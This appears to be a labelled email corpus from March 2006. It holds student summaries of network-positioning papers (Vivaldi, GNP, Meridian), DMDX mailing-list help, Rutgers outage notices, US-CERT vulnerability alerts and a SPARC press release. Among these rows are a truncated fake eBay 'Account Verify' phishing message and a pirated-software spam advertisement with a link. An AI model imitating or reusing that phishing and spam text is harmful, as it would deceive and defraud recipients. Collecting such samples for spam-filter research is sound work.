out in 2-d but not in 3-d) MERIDIAN it consists of an overlay structure around multi-resolution rings, query routing with direct measurements, and gossip protocols for dissemination. each meridian node keeps track of m*log N peers (m is the number of nodes in an annulus) and organizes them into concentric rings of exponentially increasing radii. each node keeps track of a finite number of rings. the total number of rings in the system is clamped to a constant- all rings i > j (where j is a system-wide constant) are collapsed into a single outermost ring (here radius of i > radius of j) a query is matched against relevant nodes in the ring and optionally forwarded to a node's peers. meridian achieves geographic diversity by periodically reassessing ring membership decisions and replacing ring members with those that provide greater diversity(based on selecting the subset of nodes which provide a polytopes with largest hyper volume) nodes are discovered using a gossip protocol which has a re-pinging mechanism that ensures that stale information is updated. APPLICATIONS: 1) closest node discovery : an acceptance threshold is used to reduce the reduction in distance at each hop (choosing this threshold is another tradeoff issue) 2) central leader election : extends closest node discovery 3) multi-constraint system : can be modeled as a node selection problem TRADEOFFS: 1) the number of nodes per ring is denoted by k. a large k helps in better node selection but at the same time requires more communication b/w the nodes. 2) acceptance interval : responsible for tradeoff between query latency and accuracy ( although accuracy not sensitive to threshold > 0.5) 3) gossip rate : selection vs communication overhead ",0,0 Gopal Parameswaran ,egs+summary@cs.cornell.edu,"Tue, 14 Mar 2006 11:45:25 -0500",PAPER 14,"Predicting Internet network Distances In this paper the authors discusses the coordinate -based mechanisms in a peer to peer architecture to predict network distances and discusses a mechanism for mapping nodes called Global Network Positioning which is based on absolute co-ordinates computed from observing the Internet as a geometric space. As soon as end hosts discover themselves they compute the distances between them by using a small set of distributed hosts called landmarks which serve as a frame of reference and are used to map and position the nodes in the network. The number of landmarks would need to be number of dimensions + 1. Once the landmark co-ordinates are known any node can be mapped on to the network map based on its orientation from the landmarks. Vivaldi: This paper discusses a simple light weight algorithm that assigns synthetic co-ordinates to hosts such that the distances between the co-ordinates of two hosts accurately predict the latency between the two hosts. The system of using synthetic co-ordinates is based on the concept that RTT is based on the physical distance between two hosts. However there because transmission time and router electronics introduce distortions in the predictions and the distorted latencies makes the two –dimensional co-ordinate system unsuitable and to correct this issues the authors suggest augmenting the coordinates by a height dimension that improves the prediction accuracy of the system based on measurements from the Internet. The Vivaldi algorithm works by first assigning synthetic co-ordinates in a co-ordinate space such that the distance in the co-ordinate space accurately maps the RTT distance between the two hosts. The algorithm does not predict the value of the synthetic coordinates accurately but instead uses an error reduction algorithm to reduce the error and improve the system. It uses an error reduction function that uses the Squared error of the accurate distance in space represented by the RTT and the assumed distance in space given by the difference squared in the co-ordinate space. This error function is then reduced to generate the close mapping. As the authors asserts this algorithm suffers from the disadvantage that it can get caught in a local minima. However a suitable extension to this paper would be to extend the number of dimensions by transformation of the data into a higher dimensional co-ordinate space which can then be converted into an approximate system by collapsing the dimensions one by one. Also as the error margin is reduced in multiple steps the system could also show oscillatory behaviors but in general should converge to well defined RTT maps. Meridian: This paper discusses a framework for an overlay network structured around multi-resolution rings that support query routing with measurements and uses gossip protocol for dissemination. This paper addresses the three issues of closest node discovery and location and tries to satisfy latency considerations in large scale distributed systems without computing absolute co-ordinates. A general technique for a distance metric is to map high dimensional network measurements into a smaller Euclidean space. Though this works for smaller networks it is not suitable for a large scale network and is neither accurate nor complete since the measurements are non-trivial resulting in a sub-optimal solution. Meridian uses a lightweight protocol that is scalable and more accurate for performing node selection based on direct measurement instead of network embedding. Meridian is a loose routing system based on multi resolution rings on each node where each ring is based on a distance interval of Alpha and s where Alpha is a constant and s the multiplication factor. Actually Alpha * s determine the interval for the distance for the other nodes with the node. This ring structure enables each node to maintain at most k nodes in its ring and drops peers from overpopulated rings. Meridian periodically assesses ring members about its proximity metrics and replaces the nodes with those that provide it with a greater diversity. The objective of the rings seems to increase the diversity factor using the rings. A list of secondary nodes is maintained in every ring and when a node drops out the dropped nodes are replaced with the secondary nodes randomly. Distance metric in Meridian is measured by doing multiple hops to the destination and by measuring the physical latencies. The number of hops that are traversed is used to adjust between the error in the metrics and the increased hop count. ",0,0 Ian Kash ,Emin Gun Sirer ,"Tue, 14 Mar 2006 11:59:46 -0500",PAPER 14,"Still bouncing to egs+summary Vivaldi is an algorithm to compute location of nodes in a synthetic coordinate system, with the goal that distances should approximately reflect RTTs. In order to do this the algorithm is designed to minimize the squared error between the predicted RTTs (i.e. the distances) and the actual RTTs. The basic intuition of Vivaldi is that of a system of springs; the algorithm treats errors are creating spring forces and uses a gradient descent technique to move the system towards equilibrium. To fit internet latencies, Vivaldi uses a 2d Euclidean metric augmented with a height vector. This captures the intution that traffic from a node needs some amount of time to get into the ""core"" of the network, then it is routed through the core and finally needs some time to travel out of the core to the destination. The choice of minimizing squared error is not very well motivated, other than that they have a nice procedure for doing it. Nothing about the internet innately seems to suggest this metric over other error metrics. Furthmore, its is not clear that optimizing for any metric is really the right goal. The real goal is to help applications make good decisions; any metric used is valuable only as a proxy for that. The same complaint can be made about the height metric. In this case there is a plausable story behind why it is a good metric, but it is far from definitive (especially given the observation that internet latencies do not satisfy the triangle inequality). Meridian takes an approach that is more application driven in spirit. Rather than attempting to use a synthetic metric to evaluate queries, Meridian keeps a logarithmic amount of state at each node that allows it to rapidly pass queries to nodes capable of giving accurate answers to them. The basic organization is a set of rings around the node with exponentially increasing radii (where the radius measures the maximum RTT allowable in that ring). By maintaining a logarithmic number of peers in each ring, nodes know quite a bit about their local area and progressively less about areas farther away. However they know enough that, with high probability, they can still get queries answered. To minimize overhead, maintainance of the rings is done through gossip. Meridian is not able to entirely free itself of assumptions about an underlying metric. To makre provable guarantees, some sort of low dimensionality assumption is needed. However, Meridian is able to make somewhat weaker assumptions by using non-geometric assumptions (i.e. growth-constrained or doubling metrics). ",0,0 Kevin ,egs+summary@cs.cornell.edu,"Tue, 14 Mar 2006 12:18:04 -0500",PAPER 14,"GNP proposes a Global Network Positioning system in order to reduce latency. The goal a positioning system would be to get a good estimate of round-trip-time to a peer without having to actually find the latency (by pinging them). The accomplish this by setting up a system of servers that act as landmarks. By pinging these central servers, a node can find its position in the coordinate system. It works similarly to wireless triangulation: if you know the signal strength to several pre-determined wireless routers, you can determine your approximate location. The issue with GNP is its central server philosophy: it has a single point of failure and running these servers is likely not to gain the operators anything. If a server goes down, every node in the system will have to re-ping the new landmark server to re-tune its position in the system. Vivaldi improves upon GNP in several ways. First of all, it is decentralized. There are no longer single points of failure in the system as the landmark servers are no longer servers: they are peers. Vivaldi also explores several other coordinate systems and determines that a Euclidean coordinate system with a height vector added to it works best. The height vector adds more distance for the packet to travel, i.e., it has to travel the height then the actual distance on the plane then the height of the receiving node. Their experiments showed that this worked better than other systems (which is interesting since it seems like there are several degenerated cases where it wouldn't help). Vivaldi also shows a centralized algorithm to find the optimal distance by solving a spring equation. It then decentralizes the algorithm and shows good results. In the end, it seems as if Vivaldi has some good characteristics, but would not perform amazingly under periods of high churn. They show that the system can adapt decently well, but it would be interesting to see how well it does in practice. Meridian is another system to route location-aware packets. Instead of putting every node in the system in a coordinate space, Meridian has each node keeps track of exponentially distance concentric rings. A node can therefore keep track of the distance to any of the neighbors in these rings. Using a similar Pastry or Chord-like mechanism, Meridian can get its closest node in log(n) steps. Each node periodically searches for a set of closer nodes to make sure it still has good information. It also keeps pointers to lots of other nodes that it discovers through the gossip protocol. In the end, Meridian outperforms both other systems. The only downside seems to be the extra overhead. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 14 Mar 2006 12:43:21 -0700",[DMDX] Re: input device name for sidewinder gamepad,"Yeah, so look in the diagnostics.txt file. It's either be in the directory the item files are in or in /Program Files/DMDX. At 11:57 AM 3/14/2006 +0000, you wrote: >I did try using testmode 10 before. The help files you refer to say this: > >""A recent problem is devices having cute little symbols as part of the >name making it very hard to get the name of a device into an item >file. To combat this DMDX dumps the names of available input devices into >the diagnostics, not only that it also checks a parsed version of the name >that has unusual characters removed from it that is also printed in brackets."" > >My RTF file says this: > > >But DMDX says : > >available DI device >(Microsoft SideWinder P ((then it runs out of screen space)) > >input device selection failed > > > > >On 3/14/06, j.c.f. > >wrote: >>At 08:20 PM 3/13/2006 +0000, you wrote: >> >A few years back someone reported the problem below, of DMDX not >> recognising >> >the sidewinder game pad, but there wasn't further communication (that >> >I could find) to see if the problem was resolved, and I now have the >> >same problem. Is it fixable or should I just use a different gamepad? I am >> >guessing it is because Jonathan reports the results of changing the refresh >> >rate for USB devices with this particular gamepad. >> >> Somewhere in the documentation I mention that the diagnostics contain >>simplified names of USB devices. You need to use the simplified name. >> >> /""\\ >> -jonathan (j.c.f.) \\ / >> X >> ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ >> >>The moving cursor writes, and having written, blinks on. >> >> >>==================================================================== >> Send mail to >> DMDX-request@psy1.psych.arizona.edu >> with the word >> 'unsubscribe' by itself with no quotes in the body of the email >> to be removed from the list. The list archive is available here: >> >>http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >>==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""There are three principal ways to lose money: wine, women, and engineers. While the first two are more pleasant, the third is by far the more certain."" - Baron Rothschild, ca. 1800",0,1 """Ryan S. Peterson"" ",Gun Sirer ,"Tue, 14 Mar 2006 13:15:20 -0500",PAPER 14,"The topic of this lecture is network positioning: determining the location, by some metric, of Internet objects to improve performance in several applications such as finding the closest node to a client. Traditional methods for accomplishing this generally assign each node a set of virtual coordinates that ideally represent the node's position relative to other nodes in the system. Such coordinates are often computed by collecting a large number of metrics for each node and compressing them into a two-dimensional space. Taking the image of all the data to such a low dimension loses a lot of data, and researchers have invented other techniques for positioning nodes in a distributed system. The first paper, by Dabek, et al., presents a system called Vivaldi, which attempts to remedy the problems presented above. While Vivaldi also uses virtual coordinates to maintain relative node distances, it does not rely on an inaccurate dimension compression. Instead, it uses an insight from physics to to continually shift nodes around by adjusting and readjusting their coordinates based on current network conditions. In physics, Hooke's Law describes the behavior of perfectly elastic springs and their interactions with each other. Vivaldi conceptually inserts springs into the network between nodes, which push and pull on each other based on measured statistics between the nodes. Because nodes have spring relations with multiple neighboring nodes, adjusting the distance between a pair of nodes will cause other springs connected to those nodes to adjust as well, propagating network measurements throughout the network to maintain the relative distances. One problem with virtual coordinates is that they often require O(N) time to update, and even when they are relatively accurate, they lead to suboptimal results. Furthermore, because Internet links do not abide by the triangle inequality, it is impossible for virtual coordinates to accurately model node distances even in the best case, placing an inherent restriction on the accuracy of the system. Wong, et al., introduces a network location system called Meridian that does not rely on virtual coordinates. Each Meridian node maintains a constant number of concentric rings of exponentially increasing radii. For each ring, the node maintains a constant number of nodes whose distances are proportional to the exponential distance represented by that ring. Thus, each node keeps track of more close nodes than far away nodes. When a node receives a query for its closest node, it forwards the request to the nodes in the appropriate ring, based on the distance of the client machine. Thus, each forwarding hop gets exponentially closer to the target closest node, akin to an O(log N) lookup in Choord or Pastry. As the network changes, Meridian nodes swap nodes in and out of the rings, replacing old nodes either with ones from a backup set of nodes for each ring or with new nodes from the network. Each node only keeps track of a constant number of nodes, so system maintenance time is reduced without sacrificing accuracy. Ryan ",0,0 Network Operations Center ,NET_PEOPLE@EMAIL.RUTGERS.EDU,"Tue, 14 Mar 2006 16:36:32 -0500",Power Outage - New Brunswick Area - RESOLVED,"Description: Power Outage - New Brunswick Area Disruption: Outage Campus: College Avenue, Cook/Douglass Start Date 03-14-2006 1454 End Date: 03-14-2006 1630 Affected: College Avenue Campus, Cook/Douglass Campus Comment: A brief outage in network connectivity occurred to the NB Campuses due to power outage in the area. Connectivity to the following locations has been restored. There are no outstanding issues at this time. Jameson Dormitory Willetts Health Center Cooper Dining Hall Federation Hall Thank you for your attention. TD-Network Operations ",0,0 US-CERT Alerts ,alerts@us-cert.gov,"Tue, 14 Mar 2006 18:06:11 -0500",US-CERT Cyber Security Alert SA06-073A -- Microsoft Office and Excel Vulnerabilities ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Cyber Security Alert SA06-073A Microsoft Office and Excel Vulnerabilities Original release date: March 14, 2006 Last revised: -- Source: US-CERT Systems Affected * Microsoft Office for Windows and Mac OS X * Microsoft Excel for Windows and Mac OS X * Microsoft Works Suite for Windows Overview There are critical vulnerabilities in Microsoft Office and Excel that may allow an attacker to take control of your computer. Solution Apply Updates Microsoft has provided updates to remedy these vulnerabilities. To obtain the update, visit the Microsoft Update web site. US-CERT also recommends enabling Automatic Updates. Description There are critical vulnerabilities in some features of Microsoft Office and Excel. If an attacker can convince you to open a malicious Office file, he or she may be able to take control of your computer or cause it to crash. Microsoft Security Bulletins for March 2006 provides updates that address these vulnerabilities. For more technical information, see US-CERT Technical Cyber Security Alert TA06-073A. References * US-CERT Technical Cyber Security Alert TA06-073A.html - * US-CERT Vulnerability Note VU#339878 - * US-CERT Vulnerability Note VU#104302 - * US-CERT Vulnerability Note VU#123222 - * US-CERT Vulnerability Note VU#235774 - * US-CERT Vulnerability Note VU#642428 - * US-CERT Vulnerability Note VU#682820 - * Microsoft Security Bulletin Summary for March 2006 - * Microsoft Update - * Security Essentials - ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to with ""SA06-073A Feedback VU#339878"" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit . ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: ____________________________________________________________________ Revision History Mar 14, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBRBdLxX0pj593lg50AQKYtQgAta5xSq8AlLjOJ3qG9uqL7tKNGC0skrib mURNLJ0cLukq47PsemQ9WaX+UePWyGApMxUECC+di+xIkQKGl/oqwbusfiukbMiR kAlha9cIcZ8YlM1T+nZUbWRRHFH1B62mnc80KnF9s3De8kMMAIXqSeOULHT2vpB1 qMAkcrvXeFAKPbNwtFQ8uynQ/rvQ+2vFnmrRu2SgqWM0dTcKOUEYQbwfiq5NaL+/ 6Eh+Ff9iMG99lTIlzfuA3Tn8RwSb3+Pdi8bOrkj4v605yiLxD3H1XS1VRqTH91Pd F0tYk0JHBzfM+Ao+2jtLjK80i/9N4NrtSA5tvKy0Q4eeb34emXLOSA== =An5q -----END PGP SIGNATURE-----",0,1 US-CERT Technical Alerts ,technical-alerts@us-cert.gov,"Tue, 14 Mar 2006 18:03:47 -0500",US-CERT Technical Cyber Security Alert TA06-073A -- Microsoft Office and Excel Vulnerabilities ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA06-073A Microsoft Office and Excel Vulnerabilities Original release date: March 14, 2006 Last revised: -- Source: US-CERT Systems Affected * Microsoft Office for Windows and Mac OS X * Microsoft Excel for Windows and Mac OS X * Microsoft Works Suite for Windows For more complete information, refer to the Microsoft Security Bulletin Summary for March 2006. Overview Microsoft has released updates that address critical vulnerabilities in Microsoft Office and Excel. Exploitation of these vulnerabilities could allow a remote, unauthenticated attacker to execute arbitrary code or cause a denial of service on a vulnerable system. I. Description Microsoft Security Bulletin Summary for March 2006 addresses vulnerabilities in Microsoft Office and Excel. Further information is available in the following US-CERT Vulnerability Notes: VU#339878 - Microsoft Excel malformed parsing format file memory corruption vulnerability Microsoft Excel contains a memory corruption vulnerability. This vulnerability may allow a remote attacker to execute arbitrary code on a vulnerable system. (CVE-2006-0028) VU#104302 - Microsoft Excel malformed record memory corruption vulnerability Microsoft Excel fails to properly validate records. This vulnerability may allow a remote attacker to execute arbitrary code on a vulnerable system. (CVE-2006-0031) VU#123222 - Microsoft Excel malformed graphic memory corruption vulnerability Microsoft Excel fails to properly validate graphics. This vulnerability may allow a remote attacker to execute arbitrary code on a vulnerable system. (CVE-2006-0030) VU#235774 - Microsoft Excel malformed description memory corruption vulnerability Microsoft Excel fails to properly validate the description field. This vulnerability may allow a remote attacker to execute arbitrary code on a vulnerable system. (CVE-2006-0029) VU#642428 - Microsoft Excel fails to properly perform range validation when parsing document files Microsoft Excel contains an error in range validation, which may allow a remote unauthenticated, attacker to execute arbitrary code on a vulnerable system. (CVE-2005-4131) VU#682820 - Microsoft Office routing slip buffer overflow Microsoft Office contains a buffer overflow in the parsing of routing slips, which may allow an attacker to execute arbitrary code on a vulnerable system. (CVE-2006-0009) II. Impact A remote, unauthenticated attacker could execute arbitrary code with the privileges of the user. If the user is logged on with administrative privileges, the attacker could take complete control of an affected system. An attacker may also be able to cause a denial of service. III. Solution Apply Updates Microsoft has provided the updates for these vulnerabilities in the Security Bulletins and on the Microsoft Update site. Workarounds Please see the following US-CERT Vulnerability Notes for workarounds. Appendix A. References * Microsoft Security Bulletin Summary for March 2006 - * US-CERT Vulnerability Note VU#339878 - * US-CERT Vulnerability Note VU#104302 - * US-CERT Vulnerability Note VU#123222 - * US-CERT Vulnerability Note VU#235774 - * US-CERT Vulnerability Note VU#642428 - * US-CERT Vulnerability Note VU#682820 - * CVE-2005-4131 - * CVE-2006-0009 - * CVE-2006-0028 - * CVE-2006-0029 - * CVE-2006-0030 - * CVE-2006-0031 - * Microsoft Update - ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. 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Terms of use: ____________________________________________________________________ Revision History March 14, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBRBdHxH0pj593lg50AQKjmwgA09ePMKZtjsxkwWaWMSFxtqGZaeV1hHby LBApam/YAuNpmLZKzwz36quzlbceDcSeBQKKbvgqhi/Cm4Sjsywczay0agHsdXiv dzwQCAeE0+5JA2kidsdQV9u+X866hfDq63oXy3nef/x1RPOBvNSOb8FnG1yvMCwn 965R6SUbtrA/4HRcEmVH+8dciSnARh90rcIPN6EorC7mCdXykk2YDs0MX8nuT+fl HeHn06kvTkmJbRNZ/xq7LyGIVeuQ7Xqv1fCiqywNdJUxHg1YPmBIPqfY3e6dcqE1 rS6ithE6u9GlDMTYbTLhL3+JGE4IiIRuZL10z37x+w07AHSFuTHfWQ== =3xcR -----END PGP SIGNATURE-----",0,1 Gerardo Ortega Delgado ,DMDX@psy1.psych.arizona.edu,"Tue, 14 Mar 2006 18:14:32 -0600",[DMDX] ,"Hi, Iam running a lexical decision experiment in Mexican Sign language. I am at the stage of running the practice trial for the participants but now that I'm checking the syntax, DMDX keeps saying FAILED TO OPEN FILE VFW_E_NOT FOUND (80040216). AN OBJECT OR NAME WAS NOT FOUND. The recorded items are in Quick Time Player and were recorded in a Mac and then transfered to a PC. Would that be a problem? Here's a part of the programme I've written. Thanks for the help: 0 ""Esta es una ronda de prueba.""; 0 ""Presiona el botón VERDE si la SEGUNDA palabra existe en LSM"", ""Presiona el botón ROJO si la SEGUNDA palabra NO existe en LSM""; +1 ""19. bilingüe""/ * ""20. español""; +2 ""15. moda""/ * ""16. construir""; +3 ""5. doctor""/ * ""6. carne""; +4 ""15. fábrica""/ * ""16. mercado""; -5 ""19. crímen""/ * ""20. n_crímen""; -6 ""3. universidad""/ * ""4. n_universidad""; -7 ""5. triste""/ * ""6. n_triste""; -8 ""11. mono""/ * ""12. n_mono""; 0 ""Fin de la prueba. Levanta la mano para que te digan qué hacer ahora"";",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 14 Mar 2006 18:28:40 -0700",[DMDX] Re: ,"At 06:14 PM 3/14/2006 -0600, you wrote: >Hi, > >Iam running a lexical decision experiment in Mexican Sign language. I am >at the stage of running the practice trial for the participants but now >that I'm checking the syntax, DMDX keeps saying > >FAILED TO OPEN FILE VFW_E_NOT FOUND >(80040216). AN OBJECT OR NAME WAS NOT FOUND. > >The recorded items are in Quick Time Player and were recorded in a Mac and >then transfered to a PC. Would that be a problem? It can't find the file. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The moving cursor writes, and having written, blinks on. ",0,0 eBay ,,"Tue, 14 Mar 2006 18:28:07 -0600",Account Verify,"Five password bruteforcing attems were performed on your eBay account. You must register and ID Verify certificate in order to remain in the eBay Community. Dear eBay Community Member, You (or someone else) has attempted to log in with your eBay ID and 5 diffrent wrong passwords. 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Pretends"" ",Stanley ,"Tue, 14 Mar 2006 20:07:06 -0500",Software,"soft at incredibly low prices Looking for cheap high-quality software? New software on our site: Borland Delphi 7 Enterprise Edition (2CD) - $69.95 Encarta Encyclopedia Delux 2004 (3CD) - $89.95 Windows 2000 Advanced Server - $69.95 Office 2003 Professional (1 CD Edition) - $89.95 Fireworks MX 2004 - $69.95 Actobat 6.0 Pro - $79.95 LiveMotion 2.0 - $69.95 Windows XP Professional With SP2 Full Version - $79.95 InDesign CS PageMaker Edition (2CD) - $69.95 Windows 2000 Advanced Server - $69.95 InDesign CS PageMaker Edition (2CD) - $69.95 Photoshop CS $99.95 Creative Suite Premium (5 CD) - $149.95 InDesign CS PageMaker Edition (2CD) - $69.95 Our site: http://37re9g8x9tqgm33yq33g8l3l.tertialmb.com/ ",1,1 Shane Lindsay ,DMDX@psy1.psych.arizona.edu,"Wed, 15 Mar 2006 10:56:13 +0000",[DMDX] Re: input device name for sidewinder gamepad,"The device id text in the diagnostics file is the same as I have been using. I have actually tried another gamepad now and get the same problem - the first word of the input device gets returned as failed. I am using the id selection command in the right way? input device selection failed On 3/14/06, Jonathan C. Forster wrote: > > > Yeah, so look in the diagnostics.txt file. It's either be in the > directory the item files are in or in /Program Files/DMDX. > > At 11:57 AM 3/14/2006 +0000, you wrote: > > I did try using testmode 10 before. The help files you refer to say this: > > ""A recent problem is devices having cute little symbols as part of the > name making it very hard to get the name of a device into an item file. To > combat this DMDX dumps the names of available input devices into the > diagnostics, not only that it also checks a parsed version of the name that > has unusual characters removed from it that is also printed in brackets."" > > My RTF file says this: > > > But DMDX says : > > available DI device > (Microsoft SideWinder P ((then it runs out of screen space)) > > input device selection failed > > > > > On 3/14/06, *j.c.f.* wrote: > > At 08:20 PM 3/13/2006 +0000, you wrote: > >A few years back someone reported the problem below, of DMDX not > recognising > >the sidewinder game pad, but there wasn't further communication (that > >I could find) to see if the problem was resolved, and I now have the > >same problem. Is it fixable or should I just use a different gamepad? I > am > >guessing it is because Jonathan reports the results of changing the > refresh > >rate for USB devices with this particular gamepad. > > Somewhere in the documentation I mention that the diagnostics contain > simplified names of USB devices. You need to use the simplified name. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > The moving cursor writes, and having written, blinks on. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > ""There are three principal ways to lose money: wine, women, and > engineers. While the first two are more pleasant, the third is by far > the more certain."" > > - Baron Rothschild, ca. 1800 > >",0,1 Network Operations Center ,NET_PEOPLE@EMAIL.RUTGERS.EDU,"Wed, 15 Mar 2006 12:00:05 -0500","Network Maintenance - Thursday, 03/16/2006","Network Maintenance - Thursday, 03/16/2006 ID: 1161 Description: OS Upgrade - DOUGLASS LIBRARY CORE AREA Disruption: Outage Campus: Core Systems & Services Start Date: 03/16/2006 0600 End Date: 03/16/2006 0700 Summary: Network Operations will upgrade the CORE router cr01-dlib-dlib. Disruptions in network connectivity to the DLIB A-tree areas are expected Affected: cr01-dlib-dlib Type: Scheduled ---- ID: 1162 Description: OS Upgrade - COOK CAMPUS CENTER CORE AREA Disruption: Outage Campus: Core Systems & Services Start Date: 03/16/2006 0600 End Date: 03/16/2006 0700 Summary: Network Operations will upgrade the CORE router cr01-ccc-ccc. Disruptions in network connectivity to the CCC A-tree areas are expected Affected: cr01-ccc-ccc Type: Scheduled ---- ID: 1156 Description: OS Upgrade - FOOD SCIENCE CORE AREA Disruption: Outage Campus: Core Systems & Services Start Date: 03/16/2006 0700 End Date: 03/16/2006 0800 Summary: Network Operations will upgrade the CORE router cr01-fsci-fsci. Disruptions in network connectivity to the FSCI A-tree areas are expected. Affected: cr01-fsci-fsci Type: Scheduled ---- ID: 1160 Description: OS Upgrade - LOREE CORE AREA Disruption: Outage Campus: Core Systems & Services Start Date: 03/16/2006 0700 End Date: 03/16/2006 0800 Summary: Network Operations will upgrade the CORE router cr01-lor-lor. Disruptions in network connectivity to the LOR A-tree areas are expected Affected: cr01-lor-lor Type: Scheduled ---- If you have any questions or comments concerning this announcement, please contact the TD-Network Operations Center at 732-445-7541 or at noc@rutgers.edu. Additional information, new issues, and maintenance schedules may be found at- http://www-td.rutgers.edu/tools/Network_Status Thank you for your attention. TD-Network Operations Center ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 15 Mar 2006 11:52:05 -0700",[DMDX] Re: input device name for sidewinder gamepad,"At 10:56 AM 3/15/2006 +0000, you wrote: >The device id text in the diagnostics file is the same as I have been usi Use the text in the round brackets. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""There are three principal ways to lose money: wine, women, and engineers. While the first two are more pleasant, the third is by far the more certain."" - Baron Rothschild, ca. 1800 ",0,0 Alison Buckholtz ,,,SPARC Partners with _Theoretical Economics_,"For Immediate Release March 15, 2006 For more information, contact: Alison Buckholtz, alison@arl.org SPARC PARTNERS WITH THEORETICAL ECONOMICS TO PROVIDE TOP-QUALITY OPEN ACCESS RESEARCH New Journal an Alternative to Two High-Priced Commercial Publications Washington, DC – SPARC (the Scholarly Publishing and Academic Resources Coalition) has partnered with Theoretical Economics (http://econtheory.org), an open access journal created by the Society for Economic Theory as an alternative to two high-cost publications. The new, peer-reviewed outlet for high-quality research in economic theory provides an alternative to the Journal of Economic Theory and Games and Economic Behavior, both published by Elsevier. As an open access journal, Theoretical Economics allows authors of articles to retain unrestricted rights to use their articles for non-commercial purposes, including the right to make and distribute copies in the course of teaching and research and the right to post accepted papers on personal or institutional Web sites and in other open access repositories. Theoretical Economics submits the metadata of published papers to RePEc and encourages authors to place their articles in appropriate open access repositories in order to render the article metadata accessible to third-party search and discovery services via Open Archives Initiative metadata harvesting protocols. Theoretical Economics has a long-term data archiving plan in place via T-Space (based at the University of Toronto) to guarantee that published research will be available into the future. “Open access journals like Theoretical Economics promote the future of research, discovery and learning through the timely dissemination of relevant information and through mutual support for scholars,” said Heather Joseph, SPARC Director. “As SPARC expands into the social sciences, the field of economics presents a promising opportunity for researchers who want their work to have a global reach, and Theoretical Economics uses current technology to great advantage to give authors the best options for publishing their articles.” “Theoretical Economics aims to become the leading field journal in economic theory”, said Martin J. Osborne, the Managing Editor of the journal. “It is the first open access journal to provide an alternative to the top-ranked journals in the field. We believe that its success will encourage others to establish high-quality open access journals in other fields of economics, reclaiming full control by the profession of its research output.” Volume 1, Issue 1 of Theoretical Economics was published on March 2, 2006. *** Society for Economic Theory Society for Economic Theory is a non-profit corporation devoted exclusively to the spread of scientific knowledge in economic theory. Its journal, Theoretical Economics, is on the web at http://econtheory.org. SPARC SPARC (Scholarly Publishing and Academic Resources Coalition) and SPARC Europe are an international alliance of more than 300 academic and research libraries working to correct imbalances in the scholarly publishing system. SPARC’s advocacy, educational, and publisher partnership programs encourage expanded dissemination of research. SPARC is located on the Web at http://www.arl.org/sparc; SPARC Europe is at http://www.sparceurope.org. ________________ Alison Buckholtz SPARC Consultant alison@arl.org phone: 202 251 7845 ",0,1 George Porter ,"ERIL-L , SPARC Open Access Forum , ARL-Ejournal ","Wed, 15 Mar 2006 11:44:32 -0800",SPARC Partners with _Theoretical Economics_,"[ Forwarding from SPARC Friends. -- George] For Immediate Release March 15, 2006 For more information, contact: Alison Buckholtz, alison@arl.org SPARC PARTNERS WITH THEORETICAL ECONOMICS TO PROVIDE TOP-QUALITY OPEN ACCESS RESEARCH New Journal an Alternative to Two High-Priced Commercial Publications Washington, DC – SPARC (the Scholarly Publishing and Academic Resources Coalition) has partnered with Theoretical Economics (http:// econtheory.org), an open access journal created by the Society for Economic Theory as an alternative to two high-cost publications. The new, peer-reviewed outlet for high-quality research in economic theory provides an alternative to the Journal of Economic Theory and Games and Economic Behavior, both published by Elsevier. As an open access journal, Theoretical Economics allows authors of articles to retain unrestricted rights to use their articles for non- commercial purposes, including the right to make and distribute copies in the course of teaching and research and the right to post accepted papers on personal or institutional Web sites and in other open access repositories. Theoretical Economics submits the metadata of published papers to RePEc and encourages authors to place their articles in appropriate open access repositories in order to render the article metadata accessible to third-party search and discovery services via Open Archives Initiative metadata harvesting protocols. Theoretical Economics has a long-term data archiving plan in place via T-Space (based at the University of Toronto) to guarantee that published research will be available into the future. “Open access journals like Theoretical Economics promote the future of research, discovery and learning through the timely dissemination of relevant information and through mutual support for scholars,” said Heather Joseph, SPARC Director. “As SPARC expands into the social sciences, the field of economics presents a promising opportunity for researchers who want their work to have a global reach, and Theoretical Economics uses current technology to great advantage to give authors the best options for publishing their articles.” “Theoretical Economics aims to become the leading field journal in economic theory”, said Martin J. Osborne, the Managing Editor of the journal. “It is the first open access journal to provide an alternative to the top-ranked journals in the field. We believe that its success will encourage others to establish high-quality open access journals in other fields of economics, reclaiming full control by the profession of its research output.” Volume 1, Issue 1 of Theoretical Economics was published on March 2, 2006. *** Society for Economic Theory Society for Economic Theory is a non-profit corporation devoted exclusively to the spread of scientific knowledge in economic theory. Its journal, Theoretical Economics, is on the web at http:// econtheory.org. SPARC SPARC (Scholarly Publishing and Academic Resources Coalition) and SPARC Europe are an international alliance of more than 300 academic and research libraries working to correct imbalances in the scholarly publishing system. SPARC’s advocacy, educational, and publisher partnership programs 